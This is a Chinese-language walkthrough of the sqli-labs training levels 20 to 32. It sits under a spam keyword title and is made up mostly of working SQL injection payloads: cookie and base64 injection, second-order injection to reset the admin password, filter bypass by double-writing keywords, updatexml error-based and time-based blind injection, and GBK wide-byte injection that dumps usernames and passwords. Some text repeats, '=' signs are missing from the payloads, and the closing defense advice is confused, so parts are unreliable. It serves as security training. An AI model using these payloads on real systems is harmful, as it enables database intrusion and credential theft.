嘉祥县网站建设,高性能的网站建设指南,台州建网站,wordpress管理员手册less-20
这关登陆成功会显示cookie,所以抓包在cookie处注入 less-21
这关登陆成功会显示cookie,所以抓包在cookie处注入#xff0c;发现不成功#xff0c;查看代码发现被编码
先对注入语句进行base64编码再注入 less-22
闭合字符,同21关 less-23
这关查看代码发现…less-20
这关登陆成功会显示cookie,所以抓包在cookie处注入 less-21
这关登陆成功会显示cookie,所以抓包在cookie处注入发现不成功查看代码发现被编码
先对注入语句进行base64编码再注入 less-22
闭合字符,同21关 less-23
这关查看代码发现#和--被替换为空格注释符号被过滤用编码形式和通过括号空格的方式都不成功 使用报错注入就可以单引号放在1前面 有长度限制也可以联合查询,注释没用可以用单引号闭合
?id1 or 11
//这样sql语句就变成 id1 or 11
?id-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),3 or 11
?id-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schemasecurity and table_nameusers ),3 or 11
?id-1 union select 1,(select group_concat(password,username) from users),3 or 11
less-24
第二十四关有一个登录页面和注册页面还要一个修改密码页面该关卡使用得是二次注入因为登录页面和注册页面对于密码和账户名都使用mysql_real_escape_string函数对于特殊字符进行转义。这里我们利用的是注册页面因为虽然存在函数对特殊字符进行转义但只是在调用sql语句时候进行转义当注册成功后账户密码存在到数据库的时候是没有转义的以原本数据存入数据库的。当我们修改密码的时候对于账户名是没有进行过滤的
猜测管理员账户admin创建一个admin#账户由于存在特殊字符转义会创建成功 然后修改密码由于没有对修改密码过滤发现最终修改的是管理员密码 修改密码时数据库内更新数据语句pass_change.php $sql UPDATE users SET PASSWORD$pass where username$username and password$curr_pass ; 带入数据就是 $sql UPDATE users SET PASSWORD111111 where usernameadmin # and passwordadmin原来的密码 ; less--25 and or
输入order by显示被过滤成rder by ,可以考虑双写绕过 ?id1%27%20oorrder%20by%203-- 4报错3正确是三列,可以使用联合查询 ?id-1%27%20union%20select%201,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema%27security%27),3-- //查看表名 ?id-1%27%20union%20select%201,(select%20group_concat(column_name)%20from%20infoorrmation_schema.columns%20where%20table_name%27users%27),3-- //查看列名 ?id-1%27%20union%20select%201,(select%20group_concat(username,0x23,passwoorrd)%20from%20users),3-- //求字段 报错注入 ?id1%27%20||%20updatexml(1,concat(0x23,database(),0x23),1)-- ?id1%27%20%26%20updatexml(1,concat(0x23,(select%20group_concat(table_name)%20from%20infoorrmation_schema.tables%20where%20table_schema%27security%27),0x23),1)-- //也可以用编码代替 less-25a整数闭合报错没有回显同25
less-26 空格
单引号闭合空格被过滤可以加引号闭合
在MySQL中括号是用来包围子查询的。因此任何可以计算出结果的语句都可以用括号包围起来。而括号的两端可以没有多余的空格。 ?id1%27||(updatexml(1,concat(0x23,database(),0x23),1))||(%271%27)%271 ?id1%27||(updatexml(1,concat(0x23,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema%27security%27)),0x23),1))||(%271%27)%271 less-26a
没有报错信息用联合查询或者盲注,使用时间盲注 ?id1)%26%26(if(ascii(substr(database(),1,1))115,sleep(3),0));%00 less-27
过滤
大小写绕过报错注入 联合查询 less-28
过滤union select组合报错无回显可以使用时间盲注 宽字节注入less-32
过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。 在 mysql 中使用 GBK 编码的时候会认为两个字符为一个汉字一般有两种思路
1%df 吃掉 \ 具体的方法是 urlencode(’) %5c%27我们在 %5c%27 前面添加 %df 形成 %df%5c%27 而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字%df%5c 就是一个汉字%27 作为一个单独的’符号在外面
id-1%df%27union select 1,user(),3--2将 ’ 中的 \ 过滤掉例如可以构造 %**%5c%5c%27 后面的 %5c 会被前面的 %5c 注释掉。 一般产生宽字节注入的PHP函数 1.replace过滤 ’ \ 将 ’ 转化为 ’ 将 \ 转为 \将 转为 。用思路一。 2.addslaches()返回在预定义字符之前添加反斜杠\的字符串。预定义字符’ , , \ 。用思路一 防御此漏洞要将 mysql_query 设置为 binary 的方式
\x00 \n \r \ \x1a防御将mysql设置为gbk即可